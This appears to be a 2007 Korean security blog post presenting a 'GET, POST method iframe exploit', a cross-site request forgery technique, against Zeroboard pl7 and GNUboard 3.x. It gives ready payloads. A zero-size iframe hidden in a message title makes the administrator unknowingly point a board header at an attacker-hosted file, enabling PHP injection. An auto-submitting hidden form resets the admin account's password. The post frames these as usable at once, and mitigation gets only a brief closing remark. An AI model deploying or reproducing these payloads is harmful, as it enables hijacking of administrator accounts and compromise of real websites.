본문으로 바로가기

제로보드 pl7

category Security/Web 2007. 3. 8. 22:37
반응형

=======================================================================================


0x00. 배경 설명
0x01. GET, POST method request와 iframe tag
0x02. 실제 적용되는 공격
0x03. End


=======================================================================================


0x00. 배경 설명


따로 'GET, POST method iframe exploit' 이라는 이름을 붙인 이유는 기존 공격들과 구분을 할 필요성을
느꼈기 때문이다. 현재까지 웹컨텐츠 해킹기법은 많은 발전을 해왔다.
단순한 Cookie spoofing에서 Cookie sniffing, 근래 유명세를 타고 있는 XSS(Cross site script)까지
매우 다양한 방법으로 개인 사용자의 정보를 위협해왔다.
이러한 공격 기법은 서버가 클라이언트 측의 정보를 무조건적으로 신뢰하거나 접속 중인 클라이언트의
상태를 점검하지 않기 때문에 충분히 발생할 수 있었다.
그러나 서버에서 클라이언트 측의 정보와 함께 클라이언트 상태를 점검한다면 이러한 공격 기법들은
충분히 보안이 가능하다. 간단히 예를 든다면, 쿠키 정보를 요청하는 클라이언트가 현재 정상적으로
접속 중인지 또는, 접속되어 있는 IP를 기록하여 비교하는 방법등이 존재한다.
이러한 방법을 통해 공격자가 클라이언트의 쿠키를 이용하여 서버를 접속할 수 있는 모든 공격을
차단할 수 있다.

그래서 고안된 공격 기법이 바로 'GET, POST method iframe exploit'이다. 이 방법을 XSS나 Cookie session
sniffing 기법들처럼 하나의 해킹 기법으로 정의하고자 하는 이유는 공격의 다양한 응용이 가능하기
때문이다. 이 방법을 기법화 하기까지 여러 다른 웹 어플리케이션들을 조사해본 결과 비슷한 알고리즘을
지닌 취약점들이 존재하는 것을 확인할 수 있었다.
또한 이 기법을 이용하면 웹 사용자의 패스워드를 변경하거나, 관리자 권한을 획득하여 간접적으로 특정
작업을 수행할 수 있기 때문에, Cookie session sniffing 만큼 웹보안에 위협을 줄 수 있다.


0x01. GET, POST method request와 iframe tag


기존의 XSS 기법을 이용하여 script tag와 잘 연동하면 매우 훌륭한 기술들을 사용할 수 있다.
'GET, POST method iframe exploit'은 이런 기법들보다 훨씬 더 단순한 exploit method이다.
마지막으로 로그인한 해당 클라이언트 사용자의 IP를 저장하여 비교하는 수단을 우회하는 방법에 대해
생각해보도록 하자.

그래서 작성된 공격의 간단한 시나리오는 다음과 같다.


1. 해당 사용자의 권한을 간접적으로 사용하기 위해 가짜 요청문을 만든다.
2. 이 요청문을 <iframe> 태그를 이용하여 사용자가 접속할 수 있도록 유도한다.
3. 사용자의 웹 브라우져에서 iframe 태그를 통해 해커가 만든 가짜 요청문이 실행된다.
4. 요청문의 내용이 성공적으로 수행되면 모든 작업은 끝난다.


우선, GET, POST method를 사용할 수 있는 웹 브라우져가 필요하다. 이 웹 브라우져는 해커의 컴퓨터가
아닌 공격을 당하는 사용자의 컴퓨터가 될 것이다. 해당 사용자가 접속하는 웹 사이트에서는 해커가
iframe 태그를 사용할 수 있어야 한다. XSS 기법은 <script> 태그를 이용하지만, 이 기법은 iframe을
이용한다. 상대방의 웹 브라우져에서 해커의 요청문을 실행하므로, 공격자의 컴퓨터에서 따로 수행할
공격은 없다. 그렇기 때문에 서버는 정상적인 요청으로 해당 사용자의 요청문을 수행하며, 기존의 IP를
비교하여 보안하는 수단을 매우 쉽게 우회할 수 있게 된다.

위 시나리오를 보고 대략적인 공격 방법을 알게 되었다면, 당신은 지금 즉시 이 공격 기법을 이용할 수
있다.


0x02. 실제 적용되는 공격


* zeroboard 공격 방법


국내에서 가장 많이 사용되는 게시판 중 하나가 바로 zeroboard 이다. 거의 대부분의 웹 솔루션이 iframe
tag에 취약하며, 이를 이용하여 공격자는 해당 사용자의 권한을 악용할 수 있다.
기존 zeroboard는 세션을 이용하여 사용자를 인증하는데 IP를 비교하기 때문에 쿠키나 세션을 이용한 공격
기법을 차단하고 있다고 볼 수 있다. 그렇기 때문에 XSS를 이용하여 해당 사용자의 세션을 얻어낸다해도
공격을 수행할 수 없다. 하지만, iframe tag를 이용하면 관리자 웹 툴을 접근하는 것이 가능하므로 충분히
공격이 가능하다.

우선 공격자는 iframe code 안에 넣을, GET이나 POST method로 요청할 URL code를 작성해야 한다.
아래 요청 부분은 사실 POST method를 이용하여 정보를 보내는 zeroboard 관리자 웹 툴인데 이를 GET method로
구성해보았다.


--
http://host/bbs/admin_setup.php?exec=modify_group_ok&group_no=1&name=test&header_url=http://attacker/file
--


요청 내용은 매우 간단한데, 우선 그룹 번호 1의 구릅 이름을 test로 변경한 후, 그룹 번호 1에 해당되어 있는
게시판 헤더 파일을 수정하는 내용이다. 위의 URL code를 분석해보면 admin_setup.php로 넘어가는 정보는 다음과 같다.


--
exec 변수 값: modify_group_ok
group_no 변수 값: 1
name 변수 값: test
header_url 변수 값: http://attacker/file
--


위 정보를 POST로 보내면 게시판 정보가 수정된다. 하지만, cookie, session spoofing 공격을 수행할 수 없으므로,
해커는 관리자 툴을 사용할 수 없는 상태이다. 바로 여기서 'GET, POST method iframe exploit'을 이용하면 관리자가
직접 수정을 하도록 간접 명령을 사용할 수 있다.

iframe size를 0으로 설정할 경우 페이지에 나타나지 않기 때문에 관리자는 자신도 모르게 zeroboard 관리자 웹툴을
수행하게 된다. zeroboard 게시판을 간단히 분석해본 결과, iframe exploit code를 삽입할 부분을 여러군데 발견할 수
있었으며, 가장 편리한 방법을 찾을 수 있었다.


--
<iframe
src="http://host/bbs/admin_setup.php?exec=modify_group_ok&group_no=1&name=test&header_url=http://attacker/file"
height=0 width=0></iframe>안녕하세요 ^^
--


위와 같은 공격 코드를 관리자에게 보낼 쪽지 제목으로 설정한다. 그러면, 관리자가 쪽지를 읽어보기 위해 쪽지함에
접속할 것이고 쪽지를 읽지 않아도 제목에서 iframe tag가 수행되기 때문에 해커가 원하는 코드를 수행할 수 있게 된다.
이후의 작업은 자동으로 그룹 1에 해당하는 게시판 헤더가 모두 변경될 것이며, 이 부분에서 PHP Injection exploit을
발생시킬 수 있다. iframe tag를 0으로 설정했기 때문에 관리자는 공격을 당했는지도 알지 못하게 된다.
이를 응용하면, 게시판 관리자의 정보 변경 및 패스워드 변경이 가능하다.

그럼, 이번엔 POST method를 이용한 게시판 공격 방법에 대해 간단히 설명하도록 하겠다. POST method 공격 또한,
GET method 공격 기법만큼 매우 간단하게 이루어 진다.


* GNUboard 3.x 공격 방법


GNUboard 게시판을 공격하기 위해 우선 다음과 같은 내용의 공격 코드를 해커 자신의 웹서버에 올려둔다.


--
GNU board exploit

<form name=attack method=post action="http://host/gnu3/?doc=bbs/mbupdate.php&w=u&url=http://host/gnu3/?doc=bbs/mblogout.php&url=%2F%7Eboard%2Fgnu3%2F&mb_passwd=121212&mb_passwd_re=121212&mb_name=test&mb_passwd_q=12&mb_passwd_a=12&mb_email=s@s.x">
<input type=hidden name="mb_id" value="admin">
<script>attack.submit();</script>
--


POST method 요청을 체킹하는 mb_id 변수를 제외하고는 모두 GET method 요청으로 작성하였다. 이제 위 코드를 게시판에
iframe tag size 0으로 설정하여 업로드 후, 관리자가 읽을 때까지 기다리면 된다. 관리자가 게시글을 읽었을 때는 이미
게시판의 관리자의 개인 정보, 패스워드 정보가 변경되어 있을 것이다.


0x03. End


이 공격 기법은 매우 많은 웹 컨텐츠 해킹 기법에 도움을 줄 것이다. 공격의 보안은 iframe tag 사용을 조기에 차단하는
것이다. 하지만, script tag, 하이퍼 링크 tag, IMG 링크 tag를 이용할 경우 충분히 차단된 설정을 우회하여 공격이
가능하므로 원천적인 공격을 봉쇄할 수는 없다.


반응형

'Security > Web' 카테고리의 다른 글

Directory traversal  (0) 2007.03.08
제로보드 pl7  (0) 2007.03.08
XSS - 메일로 전송하기  (0) 2007.03.08
DB 에러메시지를 이용하여 데이터추출하기  (0) 2007.03.08
XSS  (0) 2007.03.08